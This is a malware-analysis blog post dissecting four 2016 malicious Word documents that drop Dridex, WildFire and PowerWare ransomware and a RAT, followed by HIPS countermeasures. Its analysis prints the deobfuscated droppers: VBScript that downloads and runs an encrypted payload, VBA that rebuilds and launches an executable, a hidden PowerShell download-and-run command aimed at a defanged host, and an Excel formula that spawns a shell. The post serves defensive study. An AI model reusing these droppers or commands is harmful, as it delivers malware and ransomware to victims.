Error: INSERT INTO `STATS_uperesia` ( `ID` , `ip` , `useragent` , `hostname` , `country`, `referer`, `time`, `pagename`, `visitorID`) VALUES ('', '3.145.152.168', 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)', 'ec2-3-145-152-168.us-east-2.compute.amazonaws.com' , 'US', 'none', '1734845395', 'maldoc', 'T7PAx0kbZ3uYN2R58AO94h6aY2jRLBBcvI9hXJebSAmPc5p9lXdffDszgOPUhPe2oXZJe65YUxcGcRxF6DAt34S98WkFd5UwIjiFcjLUaO')
Error:INSERT command denied to user 'uperesiadsdb'@'10.23.20.99' for table 'STATS_uperesia' Analyzing malicious office documents

Posted by Felix Weyne, September 2016.
Author contact: Twitter | LinkedIn
Tags:
malicious office documents, weaponized macro office docs, weaponized OLE office docs, office exploits, dridex, powerware ransomware, wildfire ransomware

For my tenth blog post (), I'm going to analyze some malicious office documents. The malicious documents were found in the wild in 2016 and were mostly distributed via (phishing) mails. I will discuss three types of malicious office documents. The first category of malicious documents are malicious macro documents. These (Word) documents contain malicious Visual Basic for Applications (VBA) code, called macros. By default, those macros will not execute when opened with Microsoft Office 2013 (and older), unless a user clicks the 'enable content' button. From a security perspective, this button is poorly designed in my opinion and the button should actually state 'enable code to make changes to this document or to this PC'. The second category of malicious documents are documents with embedded OLE objects. Object Linking and Embedding (OLE) allows embedding and linking to documents and other objects, such as an Excel document, scripts and executables. Office allows the inserted OLE objects icon to be changed to a harmless looking object (e.g. a Microsoft Word icon). To enable the OLE object, a user has to double click on the icon and confirm that (s)he really wants to open the object. The third category of malicious documents that I'll discuss are documents that abuse some kind of exploit in Microsoft Office. An office document booby-trapped with an exploit mostly executes malicious code on opening the document, which doesn't give an end user a 'fair warning'. Besides installing Office patches and avoiding suspicious attachments, there's no definitive way to protect yourself 100% against exploit booby-trapped documents. In this blog, I'll analyze the code of four malicious office documents and I'll discuss their execution chain. At the end of the blog, I'll briefly discuss some possible countermeasures. Samples of the documents can be found here (password = infected).

Weaponized macro office docs

Dridex (banking trojan) dropper

This malicious document uses VBA code to drop a malicious executable (Dridex banking trojan). Below, a print screen of the maldoc (malicious document) is shown. I have added the process execution tree to the print screen. The VBA code in the sample is heavily obfuscated and its main purpose is to call a shell (cmd.exe) with a long argument. The shell argument is displayed below.


Image 1: malicious Word document dropping Dridex with corresponding process (execution) tree

cmd.exe /V /C  set "OQmrMuoM=%RANDOM%" 
&& (
    for %i in 
	    ("Dim Bj6LfC,GYn6IrSiyn1pfHET" "*TRUNCATED*" "End Sub") 
    do @echo %~i
) >"%appdata%\!OQmrMuoM!.vbs" 
&& start "" "%appdata%\!OQmrMuoM!.vbs" && exit"
Executed cmd command (winword.exe -> cmd.exe)

The goal of the argument is to write and execute a Visual Basic Script in the appdata folder. The VBscript is also heavily obfuscated (what did you expect? ), a deobfuscated version is displayed below. The VBscript is actually the main payload of the malicious document and fetches the Dridex executable. It is very interesting to see how the VBscript actually fetches the Dridex executable. If you look closely to the code highlighted in yellow below, you will see that it tries to download an image with a HTTP "Range" header (the "range" header allows one to download only a subset of a file). This is because an encrypted Dridex executable (encrypted with an XOR key) is appended to a legitimate image. The script only downloads the encrypted executable using the range header, and decrypts the executable (code highlighted in green). After decrypting the executable, the executable gets launched.

Dim encryptedPayloadLocation, dridexLocation
startFunction
Sub execPayload()
	CreateObject("WScript.Shell").Exec dridexLocation
End sub
Sub savePayload(myDataStream)
	Dim diskWriteStreamObj
	Set diskWriteStreamObj=CreateObject("ADODB.Stream")
	diskWriteStreamObj.Open
	diskWriteStreamObj.Type=1
	diskWriteStreamObj.Write myDataStream
	diskWriteStreamObj.SaveToFile encryptedPayloadLocation,2
	diskWriteStreamObj.Close
	delayTimer(10)
	decryptionRoutine encryptedPayloadLocation,dridexLocation,"Mercel1"
End Sub

Sub fetchPayload()
	Dim shellObj,downloadObj
	Set shellObj=CreateObject("WScript.Shell")
	encryptedPayloadLocation=shellObj.ExpandEnvironmentStrings("%appdata%")&"\123.tmp"
	dridexLocation=shellObj.ExpandEnvironmentStrings("%appdata%")&"\1234.tmp"
	Set downloadObj=CreateObject("Microsoft.XMLHTTP")
	downloadObj.Open "GET","hxxp://yourquickbookscoach.com/wp.jpg",0
	downloadObj.SetRequestHeader "Range","bytes=28141-"
	downloadObj.Send()
	if downloadObj.ReadyState=4 then
		savePayload downloadObj.ResponseBody
	end if
End Sub
Function decryptionRoutine(inputLocation,outputLocation,myKey)
	Dim i,fsObj,fileHandle,textObj,fhObj,keyArr()
	Set fsObj=CreateObject("Scripting.FileSystemObject")
	Set fileHandle=fsObj.GetFile(inputLocation)
	Set fhObj=fileHandle.OpenAsTextStream(1, 0)
	Set textObj=fsObj.CreateTextFile(outputLocation,1,0)
	ReDim keyArr(len(myKey)-1)
	For i=0 To UBound(keyArr)
		keyArr(i)=asc(miD(myKey,i+1,1))
	Next
	Do Until fhObj.AtEndOfStream
		i=(i+1)\(UBound(keyArr)+1)
		textObj.Write CHr(asc(fhObj.Read(1))Xor keyArr(i))
	Loop
	textObj.Close
	fhObj.Close
End Function
Sub delayTimer(b)
	Dim a
	a=Timer+b
	Do While Timer<a
	Loop
End Sub
sub startFunction()
	delayTimer(20)
	fetchPayload
	execPayload
End Sub
Function obfuscar(arg1,arg2)
	rem obfuscar("24412E3C027F41380238482C02232D24291B392355","HL5ZL8PnOuOfKmLJ")
	Dim i,convertOne,convertTwo
	For i=1 To (Len(arg1)/2)
	convertOne=(chR(38)&chR(72)&(MiD(arg1,(i+i)-1,2)))
	convertTwo=(ASc(Mid(arg2,((i Mod LEn(arg2))+1),1)))
	obfuscar=obfuscar+chr(convertOne XOr convertTwo)
	Next
	Wscript.Echo(arg1+"||"+arg2+"//"+obfuscar)
End Function
Dropped VBscript (cmd.exe -> wscript.exe)

WildFire (ransomware) dropper

This malicious document also uses VBA code to drop a malicious executable (WildFire ransomware). The document targets Dutch users and contains 205 pages of "text". The text is colored in white, so at first sight it looks like the document needlessly contains 204 blank pages. If we deobfuscate the VBA code, we get a better understanding to the purpose of the invisible text. The 205 pages of invisible text in the document actually contain an encrypted ransomware executable. The VBA code decrypts the text, and writes it to an executable file. It then launches the ransomware executable. Note that in the first maldoc the encrypted executable is downloaded, whereas in this maldoc the encrypted WildFire executable is embedded in the document. A similar "embedding-executable-technique" was used in APT attacks against Ukrainian powerplants, by a gang dubbed as BlackEnergy (source: Kapersky Labs, 2016). The deobfuscated code of the WildFire maldoc is similar to the deobfuscated code of the BlackEnergy dropper.


Image 2: malicious Word document dropping WildFire with corresponding process (execution) tree

Option Explicit

Sub mainCode()
    dropPath = Environ("ALLUSERSPROFILE") + "\Memsys"
    If Len(dir(dropPath, vbDirectory)) = 0 Then
        MkDir(dropPath)
    Else:
        Wipedir (dropPath) 'subroutine which deletes folder
        MkDir(dropPath)
    End If
        
    myExeName = "ms.exe"
  
    ChDir (dropPath)
    fileObj = FreeFile()
    Open myExeName For Binary As fileObj
    myParagraphCounter = 0
    For Each embeddedParagraph In ActiveDocument.Paragraphs
        DoEvents
            embeddedExe = embeddedParagraph.Range.Text
            exeChunkCntr = 1
            myParagraphCounter = myParagraphCounter + 1
        If myParagraphCounter >= 24 Then
            While (exeChunkCntr < Len(embeddedExe))
                myDeobfuscateVar = "&H" & Mid(embeddedExe, exeChunkCntr, 2)
                myDeobfuscateVar = myDeobfuscateVar Xor &H33
                Put #fileObj, , myDeobfuscateVar
                exeChunkCntr = exeChunkCntr + 2
            Wend
        End If
    Next
    Close #fileObj
	Shell(dropPath + "\\" +myExeName)
End Sub
VBA (macro) code inside malicious WildFire document

The WildFire malicious document spread like a... ...wild fire this summer. A wave of malicious documents like the one above hit Belgium mid august, and even got featured on belgian primetime news (VTM news, 18-08-2016).

Weaponized OLE office docs

PowerWare (ransomware) dropper

The third malicious document contains an embedded, OLE linked, Visual Basic script. The icon of the script is replaced by the icon of Microsoft Word, to lure the recipient into thinking that the embedded object is a Word document. The VBscript is called "bilaga.vbs", which means "attachment" in Swedish. The "bilaga" only contains five lines. The function of those lines is to download and execute a Powershell script. The downloaded Powershell script is a standalone ransomware trojan. Even though the ransomwarescript (called PowerWare) is only 50 lines long, it is very effective. Note that in the previous maldocs the final payload always was an executable, whereas in this maldoc the final payload is a Powershell script. Image 4 gives a good overview of the functionality of the script.


Image 3: malicious Word document dropping PowerWare with corresponding process (execution) tree

dim objShell,command
Set objShell = CreateObject("Wscript.shell")
command = "powerShell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile (New-Object System.Net.WebClient).DownloadFile('hxxp://techdallas.xyz/dl.php','%TEMP%\737473.ps1');"
command += "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -file %TEMP%\737473.ps1"
objShell.run command,0
MsgBox "Required libraries are missing."
Dropped VBscript 'bilaga.vbs' (winword.exe -> wscript.exe)


Image 4: overview of the parts of the PowerWare ransomware (source: @DecrypterFixer)

Weaponized exploit office docs

unknown Remote Access Trojan (RAT) dropper

The fourth and last malicious document tries to exploit the 'CVE-2010-3333 (MS10-087)' vulnerability. This vulnerability exploits a buffer overflow within the Microsoft Word RTF parser. The document contains shellcode that, if the exploit succeeds, downloads and executes a malicious executable. Simply put, the shell code can be found by opening the maldoc in notepad, and looking for a long hexadecimal ([0-9a-fA-F]+) string. By making use of a simple python script, the shell code can be converted to a binary. By opening the binary in a hex editor, one can easily extract the URL of the payload (an unknown RAT), as shown in image 6. The exploit used in this maldoc abuses a very old vulnerability, and does not work anymore in recent versions of Microsoft Office.


Image 5: malicious Word document dropping an unknown executable with corresponding process (execution) tree


Image 6: extracting and converting shellcode from the malicious RTF document

from binascii import unhexlify
sc = '01eb8b048b01e88944241c61c3e892ff...'
out = open('sc.bin','wb')
out.write(unhexlify(sc))
out.close()
quit()
Python script to convert the hexadecimal shellcode to a binary

Countermeasures

There are a lot of possible countermeasures to protect yourself from the analyzed malicious documents in this blog. The most drastic countermeasure would be to disable all macros & OLE-objects. Macros themselves aren’t the enemy though, and in fact can be a very powerful tool to help users automate complex tasks within a document. A different countermeasure would be to limit some actions that Office is allowed to perform by making use of a Host Intrusion Prevention System (HIPS). A lot of commercial antiviruses nowadays have an additional HIPS module that allows you to define your own HIPS rules. I will briefly explain how you can configure ESET Smart Security 9 to block some possibly malicious actions, but this can of course be done with any (commercial) HIPS system. Note that these countermeasures do not protect you from all possible malicious office documents, although it is effective against the samples in this blog.


Image 7: enabling and configuring ESET smart security HIPS

If we take a closer look at the process trees of the malicious documents, we can see that Microsoft Word either calls a script engine or an executable that is written to a folder where a user with default user permissions can write to:

  • Sample one: winword.exe -> cmd.exe -> wscript.exe -> random.tmp in %appdata%
  • Sample two: winword.exe -> random.exe in %allusersprofile%
  • Sample three: winword.exe -> wscript.exe -> powershell.exe in %temp%
  • Sample four: Winword.exe -> cmd.exe -> random.exe in “temporary internet files”

Not many everyday tasks will result in winword.exe opening a script engine. We thus can define a HIPS rule that states that "parent process: winword.exe, child process: cmd.exe/wscript.exe/powershell.exe/…" must be blocked. This HIPS rule will block malicious sample one, three and four, as shown on image eight. Another HIPS rule that could be put in blocking mode could be: "winword.exe may not create files with structure: *.exe". This would block sample two. Quite a lot of ‘in the wild’ maldocs seen in 2015 can be blocked with these HIPS rules, although there are plenty ways to bypass these defensive HIPS rules. This publicly published document written by McAffee gives additional examples of HIPS rules to block for instance ransomware (e.g. payload of maldoc three), but after all the best firewall still is “common sense 2016”: don’t open suspicious mails .


Image 8: configured ESET HIPS prevents a malicious Word document from dropping Dridex

Malicious Excel formula

Edit may 2017: I noticed that this blog post became a popular reference on the various ways an office document can pose a threat (macros, OLE objects, exploits). For the sake of completeness I decided to add a little addendum on malicious Excel formulas. As shown on the image below, it is trivial to make Excel execute an external application (and to pass arguments to that external application). As a proof of concept, insert "=cmd|' /C color 60 && echo hi && pause'!A0" (without the double quotes) as an Excel formula. You will see that, if you accept the warning message, Excel will pop a shell. Luckily, a clear warning message is shown and this may be one of the reasons why I haven't seen this technique being used by malware in the wild.


Image 9: malicious Excel formula spawning a commandline

References

Dridex dropper sample: Tweeted by @DidierStevens | Virustotal | Didiers blog entry
Wildfire dropper sample: Tweeted by @markloman | Virustotal
Ukraine BlackEnergy APT dropper sample: Blogged by Kapersky Lab | Virustotal
PowerWare dropper sample: Tweeted by @bartblaze | Virustotal | Barts blog entry
Unknown RAT dropper sample: Virustotal search: "#cve-2010-3333" | Virustotal